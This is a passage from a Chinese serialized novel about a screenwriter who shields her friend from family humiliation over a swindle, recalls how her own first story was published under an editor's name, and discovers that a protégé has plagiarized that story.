“散心?你管参加这些虚伪的宴会叫做散心?”杜华年正被跨年前期躁动的空气扰得心烦,一听她建议,骤然开启毒舌模式,“怎么在这件事上,你倒是像个豪门子女了。你没有正经事吗?”
李雯一颗好心被当成了驴肝肺,也不客气,“我不正经?工作室那么多资源不是我谈下来的?你大作家,你清高,有原则。我这个投资人还不够好,我什么时候让你出去应酬过?”
杜华年眯起眼,“昨天我在千帆过吃饭,姜老板还说你最近老去她那儿谈恋爱,你应酬谁?应酬小男友?”
“我不能谈恋爱吗?我不是你,我是正常女人,我谈恋爱就代表没正经事?谈恋爱就是我的正经事!”李雯气得脸色通红,抄起她桌上白花花的稿纸扇风。
杜华年嗅到了一丝奇怪,李雯是个怂货,血勇之气只能维持三秒,所以每次吵架都会自乱阵脚,败下阵来。可是今天有点不同,她这火气大有一种要越烧越旺的苗头,最重要的是,往常杜华年怼她恋爱脑,她要么笑嘻嘻地省略过去,要么哭唧唧地求人安慰,今天这个样子,还没见过。扫一眼地下,猫猫正猫着腰往外溜,看来狗子都感觉到这次吵架非比寻常。
动物的脑电波最可信,所以杜华年脑子里飞快倒了个带,捕捉到了关键词:小男友。
“小男友怎么了?”冷不丁的,她问了她一句,冰凉凉的。
“别提他!找不到他!”李雯接话很快,并且咬牙切齿,“关键时候最不顶用的就是这帮男人,他妈的!”
看来对了,又被男人骗。杜华年看着她,满脸看腻了烂剧情节的不耐烦。李雯扫一眼她,看见她这表情,才突然回过神来自己说漏了嘴,下意识捂嘴,手刚拿起来,又觉得没必要,索性破罐破摔,“对,我又被骗了。”
杜华年皱起眉,还是觉得不对劲,“你也不是第一次了,生人不生脑……”
“我有恋爱脑!”李雯瞪眼打断她。
“恋爱脑连猪脑都不如,骂你人头猪脑好听啊?”杜华年也瞪起眼吼她一句。
就这么一吼,李雯顿了两秒,“哇”一下哭起来,就像个小学生。
杜华年骤觉崩溃,这场面看起来就像凶恶的怪兽妈妈吓哭了自己不争气的小孩。她就知道事情没这么简单。
她掏了两张纸递过去,“我回想了一下,这么多年,你来我家,十次有九次因为失恋,还有一次,要么是借钱,要么是挨了你爸大老婆欺负。从来没有为了工作的。”李雯听她这话,本来低头擦鼻涕的,抬起眼皮怨怼地看她一眼。
杜华年又气笑了,扔下笔,“所以你何必还找什么借口,直接说你失恋不就完了?但是你找借口了,说明这次有点严重。咱也这把年纪了,骗个色不至于,骗点小财更不至于,那就是别的咯?”
李雯不哭了,她还想挣扎,“他只是两天联系不上,我也不确定啦……”杜华年看着她挣扎,也不说话,她继续,“他学画画的,跟我说快毕业了想自己开一间画廊,我就借了他三十万。本来也不是什么大钱。”
杜华年看着她一脸赌鬼清醒后的混蛋样,心里闪出很坏的预感。
“你动了谁的钱?”她语气都不自觉冷硬起来。
李雯也自知理亏,小声说:“最近手头紧,我就问我哥借了点……”
一闭眼,杜华年知道这回玩大了,这姑奶奶,她张嘴就想骂她,又看见她紧闭双眼一副就义的表情,倒骂不出口了,“被你爸那大老婆知道了?”
她点点头。
杜华年站起来,拉开窗帘,外头已经华灯初上。她在书柜前
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走了两圈,发现外间没有陈姨和小赵的响动,平时这个点,陈姨都该来叫她吃饭了。看来李雯提前跟她们打了招呼,今天她是非替她处理这摊烂事不可了。想到这她更烦躁了,这头写不出东西,那头还有个慕华芊芊的破事儿,一年就又要过完了……她感到时间的重压下,无穷尽的无力感。
还有未来不明的恐惧——她失去创作的能力,这件事不知道能隐藏多久,是在被人知道前她就能恢复?还是永远都不能了?
这个世界是残酷的,如果你失去了工作能力,会被天地无情地抛弃。
这种时候,这个死女人还要来给我找事儿!简直成事不足败事有余的玩意儿!
“老杜,我肚子饿了,要不咱去晚宴上吃点东西?”李雯是个有事说出来就好大半的性子,这时候已经可以卖惨了。
但杜华年无情地拆穿了她,“吃东西去千帆过不是更好吗?去什么晚宴?你爸搞的吧?你想要我去帮你说什么?”
李雯狗腿一笑,“我爸欣赏你,我大妈一直想撮合你和我哥,就因为你是个文化人。你就告诉他们你马上要亲自替芊芊写戏的事,因为他们不信热搜,觉得那是我搞出来的炒作,就算是真的,也是工作室其他编剧替芊芊写。但如果是你,我估计我爸不仅不会计较我借我哥的钱,还会再给我一笔。这样一来,你想搞武侠片不是更充裕了吗?”
不是没料到,但还是很震惊,“我去你的,在这等我呢?”杜华年气得胃都有点疼了,抬手掐了掐腰侧,“现在还拿我来预支你的信用?我写不出来呢?你不知道后果会更严重吗?不是你说我江郎才尽吗?”
“我没说你江郎才尽!”李雯急得跳脚,“我就是说你暂时没了灵感,是因为你算计太多,是想劝你少动点心机,恢复恢复。”
“然后你现在来跟我动心机?”杜华年双手捂着胃,“真是被你气死!”
“你胃又疼啦?今天又没吃东西?”
杜华年打掉她伸来的手,“走吧,换衣服,先去晚宴,再去千帆过。”
李雯终于松口气,一乐,“走走,我帮你挑衣服。你不知道,我们工作室的钱,都是靠刷你的脸跟我爸要的……”
“滚,是我们自己挣的。”
“那启动资金也是我去跟我爸刷你脸要的。哦不对,是刷你的本子要的。”
……
李雯给她挑了一身冰蓝色吊带礼服,V领,不深,后背开得也适宜,绸料,带点丝绒质感,首饰挺简朴,一套珍珠。
李雯自己找了件藕粉色裙子,为了乖巧低调些,甚至没戴项链,就戴了两个钻石耳钉。
套上黑乎乎的长羽绒,二人出发了。
在酒店门口就遇上了她大妈和她哥。“大妈,大哥。”她立时像个落水的鹌鹑,开口喊人。大妈斜她一眼,连嫌弃她都觉得脏了眼睛。这个大哥倒是“嗯”了一声,但是一直躲在大妈身后,像个病鹌鹑。
“小华也来了?”大妈扬起笑和杜华年招呼。杜华年一看她眼角就知道她心里那点龌龊心思,硬着头皮微微一笑,“李太太,我们先进去了。”拉上李雯就往里走。
李雯万分庆幸今天杜华年肯来。
8. 跨年夜,注定无法温和地跨过去
杜华年本想直奔主题,找了一圈没找到李雯那个爹。李雯去休息间找人,没想到找到了正在挨骂的亲妈。
她爸像骂小鸡仔一样骂她妈,“你看你怎么教女儿的?没用没关系,我可以养着她,但是这么大年纪了,不说找个门当户对的结婚,还老是被男人骗!这回还把他大妈大哥的钱也要走了!”
她妈妈只懂得低声抽泣。她看得一脸麻木,这样的画面是她最熟悉的,是她从小到大的生活基调,是她人生电影的底色。她靠在门外,看着母亲瑟缩的肩膀,心头已经没什么感觉了,但四肢还是逐渐冰凉。
杜华年找到她时,她的妆已经花了,泪水真正是洗了面一样,却还像个雕塑般,不动,毫无声息。杜华年听了一会儿里头的骂声,又脏又贱,简直不像是在骂人,而是在骂狗。来来去去中心思想就是那么几句:被男人骗,骗了大妈大哥的钱。
她拉过李雯藏在身后,走进去,看见这个发怒的中年男人的脸,一瞬间,她觉得这个世界上的男人是真的都一样啊,她的父亲和这个父亲又有什么不同?除了会朝着女人嚷嚷外,什么用都没有。
“李叔叔,晚上好。”她笑起来,直视他。男人没想到这么尴尬的场面会被外人瞧见,不太愉快,瞪了她身后的李雯一眼,李雯竟然立刻抖了起来。杜华年皱了眉,她知道李雯在家很窝囊,但实在没想到这么窝囊。
“不好意思小华,一点家事,你还是到外面等等……”
杜华年一抬手打断他,“李叔叔。我是来解释三十万的事的。李雯讲义气,自己扛了,其实是工作室需要点钱周转。我已经和财务对过账了,是之前有个合同尾款没清,这两天就能连本带息都过到您这边账上。”
男人当然知道她说的话不见得多真,毕竟他自己的女儿他是了解的,但此刻并不好发作,只能客套两句,又夸杜华年两句。
杜华年什么脾气,她当然不受用,“叔叔,这么多年我和李雯什么感情您应该是懂的。您的家事我不评论,但是讲到被男人骗,我觉得,李雯可能是遗传吧,毕竟她妈妈就不太能识别男人的谎言,这一点,您应该最清楚了。”
她笑盈盈地看着男人,看着男人眼里逐渐爬上来的惊恐和恼羞成怒。她知道,这个膨胀得像球的雄性在她这个千锤百炼的假笑里,看见了讥讽、蔑视,和,洞悉。
她在自己父亲的脸上也见到过这种恐惧的表情。其实她觉得很可笑的,男人之所以觉得他们的龌龊不会被发现,无非是因为女人从来不敢说而已。
可女人们并不是真的看不穿。
但是,他们却真的以为,女人永远是笨的人。
于是当杜华年说出这样滴水不漏但万箭穿心的话时,他们总是有一种被剥夺了控制权的窒息感,这是一种死亡的威胁。她要的,就是他们感受到死亡的威胁:原来命运之杖,也是可以握在别人手上的。
她拉着李雯走出酒店,冷风一吹,才后知后觉去找羽绒服。李雯一直惊悚又崇敬地看着她,也还没忘记从门童那里顺走两人的外套。
她们默默穿好衣服,默默坐进车里,默默开往千帆过。
李雯知道说谢谢很生分,不说谢谢又不知道说什么,于是只能闭嘴。
而抢夺了控制权后的杜华年,正在再一次地咀嚼、消化心里复杂的悲伤和绝望。因为这些男性被她的凶残逼退,这种退缩和认输,令她对这个世界更加没有安全感了。
被逼退,意味着他们原本就是打算恃强凌弱。这是在用行为承认,他们是真正的龌龊。
这才令她真正的难过。
没有一个人可堪信任,这群人,没一个敢作敢当。
天地之间,一片苍凉。
姜老板第一次见她俩这副模样,埋着头,不作声,一前一后走进千帆过,径直上楼,李雯在二楼想右转去窗边,杜华年眼也不抬,腿也不停,伸手拽住她左转继续上楼,走到三楼栏杆旁坐下。
菜上齐了,二人的筷子你来我往,吃得甚至有些狼吞虎咽。终于吃累了,她们才靠下来,李雯再也忍不住,爆哭出声,她想压着声音,但这只能使她哭得更狼狈。
杜华年也再忍不住,一眨眼,留下两行清泪,转头望向不远处的秦淮河,那里永远灯火通明,人声熙攘。
“以后别这么窝囊了。”杜华年只说了一句,给她盛了碗鱼汤。
李雯呜咽点头。三十万而已,对工作室而言都不见得是要逼死人的数目,何况是她爹?她哥哥随便去一趟澳门花掉的也远不止这个数目。她怎么会不知道,她只是一个可有可无的人,只要她继续可有可无就好,但她总是想要证明自己的存在,所以,每次都自取其辱。
吃完饭,姜老板帮着杜华年把喝大了的李雯扶出来,“遇到什么事了?黄酒都能喝成这样?”杜华年叹口气,“爹妈事。”她又对李雯说:“别回那个家了,要不去我家,要不去酒店?”
李雯摆摆手,“我妈还在家里。”她抬头看见杜华年怒其不争的脸,笑了,“放心,我去说服她跟我出来住。”
杜华年可不信她,“那她不愿意呢?”
“那我就自己走,但我总要问一问她。”
能说这话,看来还不算太醉。姜老板替她们打了两架车,杜华年拽着李雯在她耳边说:“钱我明天叫财务划给你,你换成现金,一分不少的拿回去给你爹,记住,是给你爹,最好当着你哥的面给!记住了吗?”
李雯用力点头,杜华年给她塞进了车里。
两架车背道而去。
姜老板在路边站了一会儿,回头上板歇业。
杜华年以为这一天就可以这么过去,
这一年也可以就这么过去。
但,天空炸开新年礼花,她家楼下站着一个冻红了脸的慕华,她才想起今天是交稿的日子。
“砰砰砰”的爆炸声,每一秒都想击溃你的心脏,让人总误以为此刻意义非凡。
杜华年忍不住深呼吸,灵魂都清醒了。她闻到了硫磺燃烧后的味道,硝烟的味道,红尘的味道。她想:我的小狗会不会害怕?
慕华也被爆炸声吸引,转头仰望烟花,看了一会儿,才转回头急匆匆走到她面前,先说了句:“新年快乐!华年姐。”
她的眼睛直勾勾地看了一遍杜华年下半身露出来的裙子、脖子上的珍珠、蓬勃的卷发,和脸。杜华年很厌倦这种眼神
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,因为里面只有年轻的野心。
“新年快乐。”杜华年微微点头。
“华年姐,这是我的大纲。”她双手伸出来,将一沓纸递过来,标准格式,标准字体,标准装订的,纸质大纲。
杜华年已经很少见到纸质版大纲了。成形的剧本才有可能被打印出来。她接过来,“不错,你晓得纸对我们这种人才是最重要的。”
慕华开心地笑,带点腼腆。杜华年将大纲夹在腋下,右手放回口袋,“怎么写出来的?”
“我去跟了刘芊芊两天。”慕华实话实说:“她正好在剧组。”
“有什么感悟?”
慕华稍微组织了一下语言,“我觉得她用力方向不对,所以一直没什么进步。”
杜华年仍旧淡淡点头,“那,你跟她说了吗?”
“说什么?”慕华没跟上她节奏。
“告诉她她用力不对。”
“哦,不,没有,我没说。”慕华立即表示。
“嗯,你回去吧,我看看大纲。”杜华年抬抬头,示意她走,自己便转身进了楼。
电梯上行,杜华年心里给慕华倒扣了三十分。一个想要自强不息的女孩,却不打算帮助另一个自强不息的女孩,那么她便再不无辜。
杜华年知道,慕华这种出身的人,她爹妈如何伤害她,她也会如何伤害人。这就是命,是慕华发现不了的宿命。
慕华在回去的路上哼起了歌,她第一次没有心疼计程车上跳跃的数字,甚至叫司机载她绕去夫子庙一趟,感受一下新年的气氛。她本来猜测,杜华年不会喜欢刘芊芊这种女人,所以,她也没有和芊芊过于亲近。而今晚,杜华年的问题让她更加确定了这个猜想。
我的表现应该很高分。她想。
一进家门,猫猫扑了上来,她疲惫的笑了。脱掉高跟鞋,蹲在地上抱着猫猫一顿揉搓后,直奔衣帽间。甩下手包和外套,取下耳环项链扔进化妆台上的丝绒盘,拉开礼服的隐藏拉链,再倒了一杯红酒,半躺在了小塌上。
连灌了好几口才觉解渴,猫猫迈着充满小心机的步伐靠近,“吧嗒”一声,两只小短手搭在了她腿边。她想:幸好我捡了你回家啊!
弯腰抱起猫猫,她摸着柯基可爱的屁股,在小狗纯真的眼神里得到了今天的全部治愈。
如果一个人生病了,那么她需要一只小狗。
洗过澡,吹干头发,换上睡裙,她端上那半杯酒,拿起稿子窝进了客厅的沙发里,猫猫乖巧地趴在手边。沙发对面的墙上挂着一幅巨大的照片,是她刚上大学时一次郊游,在青翠漫野的春天里,一个扎着高高马尾的背影,粉白格子连衣裙,宽大的裙摆飘扬在春天傍晚的长风里,和着满天的风与飞花,好像永不会停息。
刚看完角色介绍,她就皱紧了眉头,看完一页,甚至半眯起眼。又看了一会儿,她站起来,从窗台上摸到烟盒,倒出一支正要点,回头看了一眼跟在身后摇尾巴的猫猫,她笑笑,推开玻璃门,走到阳台。
看完大纲只用了十五分钟,半包烟却耗掉一小时。
她想起了读大一的杜华年。
那时,她还不叫杜华年,她叫何芳芳。
9. 十二年前的夏天,和那个沈编辑
十二年前,何芳芳在6月9号早上六点半准时醒来。她看了眼闹钟,坐起来再看一眼日历,笑了,原来高考结束,是这种感觉啊!
她还是照常起床洗漱,七点,已经吃好早餐,准时坐在桌前。翻出稿纸,从打包回家的三大箱子书里,翻出一个黑色封皮的小本子,里头密密麻麻,全是不同日期下,她留下的只言片语。
在那个人生最长的暑假里,她拒绝了所有人的邀请,没有放纵的玩乐,而是写出了人生第一个完整的,完全属于她自我意志的,故事——《你我》
写完第二天,她正打算寄出去,却找不到稿子了。她翻遍了书桌、柜子、抽屉,甚至衣柜里的每一个角落,和家里的每一个垃圾桶,都没有稿子的踪影,那一叠厚厚的A4纸就这样不翼而飞了。
中午的太阳猛烈又残酷,她又一次感到无尽的绝望和承受不住的愤怒。她曾经丢失过一个故事,那是一个嵌在散文里的故事。她记得那篇文章的名字,叫做《梧桐》。
她记得那天只是初三的某一个平凡的单休周末,语文老师布置了一个作文题,题目叫什么她早就忘了,可能她当时就根本没记住。只是那个周末,大约是暮春的芳菲太盛大了,她涌起丰沛的思绪,填满了全部的内心和感官,似乎有人握着她的手写完了那篇《梧桐》,不过一千来字而已,她却在放下笔的瞬间,感到少年春尽的美满。
她当时就知道这绝对是一篇不符合规范的作文,跑题是肯定跑题的,但她就是不想改。
她等着语文老师的批评,没想到,第三天傍晚,作文改完发下来时,她的本子又一次被攥在了老师手里。
她念完了所有范文,最后翻开她的本子。
她说:“所有值得你们学习的文章我都讲完了。现在这篇,是何芳芳的。她这篇文章我给了零分。但是,我想念给你们听,不是因为想要你们引以为戒,而是因为,我太喜欢这篇文章了。”
何芳芳难以形容她念它时的感觉,她第一次感到写作的快乐,于是发觉之前那些,只能叫做写作的快感。伯牙与子期,大概说的就是这样的感觉吧。
她看着她的老师,那是一位风骨卓然的女性,不到四十岁,有点女文人的清郁,又有点女老师的肃然。但那一刻,她觉得她不再是一个老师,而是和她一样,只是一个沉醉在春末的生机与颓然冲突里的普通少年。
作文本发下来,她看见了大大的零,和零下方,两行行云流水的红字:这篇文章不合格,但,我很欣赏你细腻的风格。所以,在考场上你是零分,但在我心里,你是满分。
可是第二天,她的作文本不见了,她甚至不知道什么时候丢的。她屡次询问课代表,询问语文老师,都说发下去了,确实没有。
她第一次感到丢失一篇作文带来的绝望,从小到大,她不知道写过多少字,那些稿子扔了、卖了、烧了、不见了……她哪里会有所谓,反正父亲总会逼她不停地写新的。可是,这一篇《梧桐》,它是不同的。
始终没有找到,绝望和愤怒淡去,她考完了中考,考完了高考,今天,她又搞丢了一篇作文,长长的作文。
她在花房里哭泣,那是她那只懂享乐的妈最爱劳作的地方。
“笃笃笃!”敲打玻璃的声音吓了她一跳,她满脸泪痕,转过头狼狈地看向玻璃窗外,父亲戴着眼镜,正皱眉盯着她,一脸严肃,见她哭过,还嫌弃地瞥了她一眼。
她却管不了那么多,一眼便看见了他手上拿着的那沓稿纸。
我的稿子!
她冲出来,要去抓住,父亲手往回一收,“写成这样,你想干嘛?”
她的心砸在了地上,第无数次。所以她习惯了,“写得不好你还看?”她伸手去抢,“还给我。我会用一个新的笔名,不会给你丢脸,没人会知道是你女儿写的。”
何文谦转身走回书房,她追在后面抢,“爸,你给我!讲讲道理!”
他将稿子往桌上一拍,“芳生?这个笔名很高明吗?你这是什么?散文不是散文,小说不是小说。怎么?想写散文体小说,你知道那要多少功力么?你写这些,想歌颂什么?歌颂你和胡静雯如何认识到成为朋友然后分开的事实?”
听见胡静雯的名字从他嘴里说出来,何芳芳怒极反笑,“爸,为什么一定是要歌颂呢?不可以是哀悼吗?爸,为什么一定要是你的风格呢?不可以是我的风格吗?”
她的笑容彻底激怒了何文谦,他觉得这个女儿真是不孝,“你是我女儿,就应该继承我的一切!你以为,没有我,你能有这么多人捧着,说你是个天生的小作家?你从小到大,哪篇发表的作品不是我把关的?你要记住,你有今天,全靠我!不要膨胀了,以为是你的本事。”
何芳芳早已厌倦了来自他的贬损,“把关?”她被这个词语气笑了,“从小到大,哪次不是你一个字一个字改成你喜欢的样子,然后再叫我抄一遍?爸,你数过吗?你所谓的那些我的稿子,还剩几个字是我的?它们到底是我写的,还是你写的?!这次,你敢不敢一个字不碰,让我把这篇稿子投出去?”
何文谦怒目圆睁,看着她高抬的头,真恨不得没生过这个女儿,“好哇!你长大了,翅膀硬了,真以为自己了不得了!行啊,我倒是看看,谁会要你这个废话一样的东西!”
她要回了她的故事。但也是那个夏天,她也终于要到了她的真相。
《你我》的投稿当然不顺利。所有退稿的意见都是在说主题不符合他们的需求。她快要开学了,带着无数次被退回来的稿子坐上了飞往南京的客机。住进宿舍的第一天,舍友都在商量聚餐,她却带着稿子,去了学校内部的出版社。
正是周六,出版社只有一个年轻的女编辑值班。她带着厚重的眼镜,头发一丝不苟梳了个低马尾,眉目肃丽,一脸书卷气。她收了稿子,让她回去等消息,何芳芳慢吞吞地起身离开,这一次,大概是她仅剩的所有力气了。
一步一步走到门口,她正要抬头看看太阳,身后的女编辑却叫住了她,“诶,等等。芳生是吧?”
她回过头,看见女编辑眼里亮晶晶的光,她说:“你先回来,我刚刚看了两眼,觉得开头挺吸引我。你坐一坐,我再往下看看,我挺喜欢你这个风格。”
她脑子里乍然行云流水地洒出一行红字:但,我很欣赏你细腻的风格。
坐了很久,或者不久。何芳芳甚至没有看一眼投入阅稿的女编辑,她只是呆呆地望着窗外绿荫。看着太阳从枝头转到枝干,再到地下,再消失不见,短暂的灰蓝后,路灯点亮,灯光洒在树上,反出不真实的硬光。
“好故事啊!”女编辑突然感叹出声,拉回了这个走神的房间。何芳芳看过去,见她双眼有点泛红,眼神发直,满脸遗憾神色,似乎想说什么,但良久,也只是长叹了一声。何芳芳知道,这就是她要的认同,这就是她写这个故事,最想看到的读者的反应。
于是她想,是其他编辑都没有这种感受吗?这感受就这么稀有吗?
女编辑喝了口水,“芳生,你留下联系方式和身份信息,我后天上班联系你,我要跟主编商量一下,我会尽力帮你争取的。”
“好。谢谢!”
可是周一,等到了下午六点零五分,她仍然没有收到任何回音。
她独自一人往食堂走,有许多同学和她打招呼,可是她一概没有听见。
电话突兀响起,她恍然接听,是女编辑,但女编辑声音低落,告诉她稿子被婉退。她麻木地哦了一声,说完谢谢,准备挂掉电话。女编辑突然挽留,“诶,你等等,嗯……你是咱学校的吗?要不,现在我请你
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吃个饭?”
学校分成东西两个区域,中间有一道小马路,俨然已经是美食的天堂。食堂的饭菜怎么可能留住大学生?
女编辑姓沈,在校研究生,“你是新生啊?竟然没有学长带你来过这里?这么好看的学妹,他们怎么会放过你的?”
坐在一家清爽的小店里,她看着她,“沈学姐,我……可能太孤僻了吧。”学姐以为她是稿子被退心里难过,安慰她,“你别这么丧。我今天约你吃饭,就是想说稿子的事。嗯……你也别怪我冒昧,你是何文谦先生的女儿吧?”
何芳芳眼中锋芒一闪,抬眼看她,“果然是我爸交代你们的?”
她自己没发觉,她的语速干脆了起来,语气中隐然带上了风雷声,这让沈编辑心里一震,“你看看,你说话这样子还真像是大文豪的女儿。”
她惊觉,眨眼看向桌面,“对不起!”
“没关系。”沈编辑十分同情地看着她低头的样子,“既然你知道你爸爸会……那为什么还要跟他闹?以你这么好命,让他帮你发,这篇稿子大可以上更好的出版社,或者先上个什么含金量高的大刊……”
“他怎么跟你们说?”何芳芳打断她,手轻轻抬了一半,又控制着放下,“说我获得了一点小成就,骄傲自满了,要给我一点挫折,才能更好地成长?”见她不反驳,她知道自己猜对了,“学姐,我投稿半个月了,你是第一个跟我讲真心话的编辑。那我也跟你讲真话,你要是看过我以前发出来的稿子,你就知道为什么了。我想写的,我爸是不会让它们被人看见的。因为他只想让我写他想让我写的。我出身不好,什么出身从小到大,连自己的笔都不能写自己的心呢?”
沈编辑略想了想,何文谦的风格和主题,确实与《你我》南辕北辙。父女俩关注的东西从根子上就不一样。
饭桌陷入了沉默,何芳芳低头吃东西,但饭菜却没下去几口。沈编辑没胃口吃,好一会儿,她下定决心,对何芳芳说:“芳生?我有个办法,能让这稿子和读者见面,但是……”
何芳芳从饭碗里抬起头看她。她犹豫了一下,“但是可能要委屈你,不能用你的笔名。我就说是我特别约来的稿,因为涉及真实人物事件,所以作者要求要写佚名。”
何芳芳看着她,似乎在考虑这个提议,沈编辑几乎要放弃了,何芳芳才开口,“不如,直接署你的名吧。”
沈编辑愣住了,她紧张地仔细观察何芳芳,“不行。这绝对不行。我的工作是有原则的。”
“我知道,但是学姐,你以为你写佚名就能行了吗?我爸读过整篇的,他在这个圈子什么地位你不知道吗?但是如果作者直接变成了你,就算所有同行都知道这是个谎言,也绝没有人敢拆穿,因为,大文豪的女儿为了发出稿子,宁愿让渡署名权,或者大文豪女儿的小说被人抄袭……这些新闻都是丑闻。”
沈编辑突然很后悔约她来吃这餐饭。她觉得,眼前这个小学妹,是一个不亚于她父亲的狠角色。
“当然了,”何芳芳软下语气,“我知道这样对你来说伤害最大,你不用同意我,我已经很感谢你了,能告诉我真相,至少我不用一直猜测。”
沈编辑沉默了。
在那个秋天的末尾,何芳芳几乎已经忘记了夏天的一切时,她突然发现,校刊上连载了她的《你我》,署名果然是沈编辑——沈荷。
连载之后,很快又上了别的刊,一个又一个,评论也越来越多,说是散文体小说很久没有这样“韵味回旋难去”的风格了。
她与沈荷成了好朋友,在她看来,她们一起对抗了何文谦,这简直就是“过命的交情”。
以至于她大二的时候,沈荷眼看着就要研究生毕业,却突然放弃学业要出国,她还和人家大吵一架,觉得她狠心抛弃了自己。
10. 新的一年又开始了
慕华这个大纲,抄了《你我》的百分之七十,甚至还多。
杜华年的烟盒空了,她摸着身边椅子上蜷着的猫猫,望着乌云蔽月的夜空,自言自语,“我倒是才发现,芊芊确实和胡静雯有些像。”
慕华大概是以为,《你我》在当时只风光了两个季度,便骤然沉没,再无人提起。而后又有无数新作风光热闹,一浪接着一浪,人们早忘了这个叫沈荷的不知名作者写的唯一一本书,所以才抄得这么放心。
是啊,沈荷再没有回国,连我自己都忘了还有这个故事了,她当然敢。只不过……抄一个久远的冷门,竟然都能抄到原作头上……呵——慕华啊慕华,只能算你运气真的太差了吧!
今天麻麻闻起来好累,就像我周末出去在草地上疯跑了一天一样。她洗完澡,我以为她就要抱我上床睡觉了,可她却又开始喝酒抽烟,最后还在阳台坐了好久。好不容易她从阳台回来,又去了书房,从一个角落小柜子里取出了一沓纸和一本书,书的封面上有两个大大的字,和那沓纸第一页上两个大字长得一模一样,但是大字下面两个小字却长得完全不一样。我闻到这两个东西都有一大股味道,很旧很旧,是一个离这里很远很远的地方的味道。
新年第一天,杜华年睡到下午两点。醒来第一件事,她亲自打电话给财务,要她立即转三十五万到李雯账上,财务为难地告诉她,公对私有许多规则和程序,三十五万数额太大了,估计银行会拒绝。财务其实还是委婉了,她意思就是根本转不了。
啊!杜华年恍然,然后心里骂娘:破规矩真他妈的多!
“提现呢?弄出三十五万现金也行。”
财务更加心惊胆战了,“提现……当然……也行,但是华年姐,您是什么用途呢?额……就是走公账它要有条目……这个数额其实也还是太大了,其实小额多次会好很多……而且直接取现金也是不行的,它这个事只能用……”
“行了,”她习惯性地一抬手,“不用你做了。休假吧。”
挂掉电话,她从自己的户头转了三十五万给李雯,余额:32110.73。
猫猫从被子里滚出来,爬到她手边蹭蹭,陈姨照例等在房门口,问她想吃什么。她还是说煮米粉。
黄酒喝多了照样醉人,李雯一直到傍晚五点半才清醒过来,她有气无力,哑着嗓子呼唤,“付妈?付妈——搞碗醒酒汤来给我。”
没有人应声,但门却开了。她以为付妈又要生气她宿醉,也没在意,爬起来,揉着满头鸡窝,却看见走进来的是她同父异母的哥哥。
她吓得头都不疼了。哥哥端着醒酒汤放在她床头,十分诚恳地道歉,反复说明自己的苦衷和无奈,总而言之一句话:是他妈逼他说出了李雯借钱的事,他自己是万般不愿意出卖妹妹的。
她哥离开房间时,天都黑透了。李雯觉得自己也许小题大做了些,毕竟是一家人,也许她不该这么计较,再说……被男人骗这件事确实错在自己……她突然眼前一花,一股酸水返上来,顾不得头晕,直接往洗手间冲。
付妈端着米粥进来,骂骂咧咧,“你饿了不知道说?你哥可是吃饱了的。”
李雯头晕脑胀倒回床上,看着凉透的醒酒汤和冒着热气的米粥,她心绪纷乱不堪,杜华年打来了电话。
“你醒了吧?吃了吗?”
“准备。”
“查收一下,我把钱转你了。你今天把这事儿办了。”
她打开银行,发觉转账过来的账户是杜华年私人的卡,“怎么是你的钱,不是说用工作室……”
“数额太大,一次拿不出那么多,反正破规矩一大堆。算了,用我的,反正我够。你欠我的,不比欠你家里强多了?”
李雯恍惚了一瞬,“我家……嗯,谢了!”
杜华年没有再说什么,可是却也没有十分干脆地结束通话,而是似乎等了那么几秒才挂断。李雯从来都是等别人先挂电话,所以她很清楚每个人挂电话的节奏。
她当然知道,是因为杜华年听出了她的恍惚。忐忑突然袭击她,她怕杜华年失望。
她其实怕所有人失望。
她垂下手,想起睡前母亲坐在床头替她按摩脑袋,“怪我,我给人做小老婆,害得你……”
“妈,我们搬出去吧!住得也许差一点,但我一样可以请人照顾你,总比在这受气强。”
她感觉到她母亲明显的为难,甚至她收回了替她按摩的双手,“我知道,你在这个家里不太好受,你大妈她对你也比较严厉……但是她其实不坏的,你借你哥哥钱,她是真的怕你被骗,她还来跟我说,如果需要钱,直接问她要,她说把钱给我比给你放心,让我多提醒你,我们这种家庭的女孩子很容易被坏男孩当目标……”
“妈!”她忍不住打断她,“她话说得好听而已。你到底要被好听话骗到什么时候?怎么男人说好听话能骗你,女人说好听话也能骗你呢?”她汹涌地流泪,也不知道是不是喝了太多酒的缘故。
“我……”诗萍被她一噎,胸口闷痛,眼眶一红,流下一滴泪,“你别说你爸爸骗我,他没骗我的,他还是让我们进门了呀!你爸爸太忙了,所以脾气不好,他是关心你的……何况,你现在创业,也需要很多钱,我们如果出去住,你负担会很重,在家里住挺好啊。你以后要用钱,别问人家借,你问我要就行,我有钱的……”
“行了妈,我想睡了,你也早点睡吧。”她突然失去了说话的欲望,她已经习惯了。诗萍也习惯了,给她掖好被子,关了灯,关了门。
回忆结束,她看着关着的门,捧起那碗冷掉的醒酒汤,在半明半昧的壁灯里,一边流泪,一边把它喝完。
杜华年料定慕华会一抄到底,她发了条信息,告知慕华两周拿出第一版剧本。她也听出了李雯的情况不妙,但她也实在不想再管这些狗屁烦心的事。新年第一天,她收拾了一番,给了陈姨和小赵大大的红包,带着吃饱喝足的猫猫,出门去了。
街上的气氛很好,商场都在极尽可能地渲染节日,欢乐的音乐,疯狂的促销,圣诞树还在,元旦的拉花彩条又挂了出来。熙攘的人群里尽是年轻欢笑的面孔,餐厅爆满,停车位也爆满,随处都是卖玫瑰花的漂亮小姑娘。
这个世界似乎从来没有出现过痛苦。
她牵着猫猫,走得很慢,她几乎不会走这么慢,但今天的繁华热闹,让她想到四个字:红尘滚烫。她似乎是凉的,滚烫挨着身边一溜一溜地撞过去,让她感到分外的舒适,衬在热闹里的孤独,才让她感到无比兴奋。
猫猫体能很好,她们随意走到了一家藏在花树之后的餐厅,真好,狗子是被欢迎的,甚至引客的小姑娘还抱了一把猫猫。这么些年来,杜华年第一次过节不在千帆过吃饭。
餐厅的味道很不错。
她什么也没买,除了给猫猫弄了个可爱的小围巾。
回到家,先给猫猫洗了个简便的澡,她才收拾了靠在沙发上,放下幕布,打开投影。今天她打算忘记自己是杜华年。好多年,她都没有这样放纵地玩乐了。
她就这样,什么都不想,又过了两天,直到元旦公共假期结束,和任何人都没有联系。
新年上班第一天,新项目进入了正式流程。李雯看过大纲后赞不绝口,“我竟然看走眼了?这个小编剧可以啊!”杜华年笑笑,没有把那么多曲折告诉她,只是通知她,“我不会署她的名,先跟你讲一声。”“为什么?”李雯很吃惊,毕竟杜华年从来不屑于拿别人的东西,尤其是在写作这件事上。“你不用管原因,听我的就行。”杜华年一贯的风格,李雯虽然有点担忧,但还是憋住了。
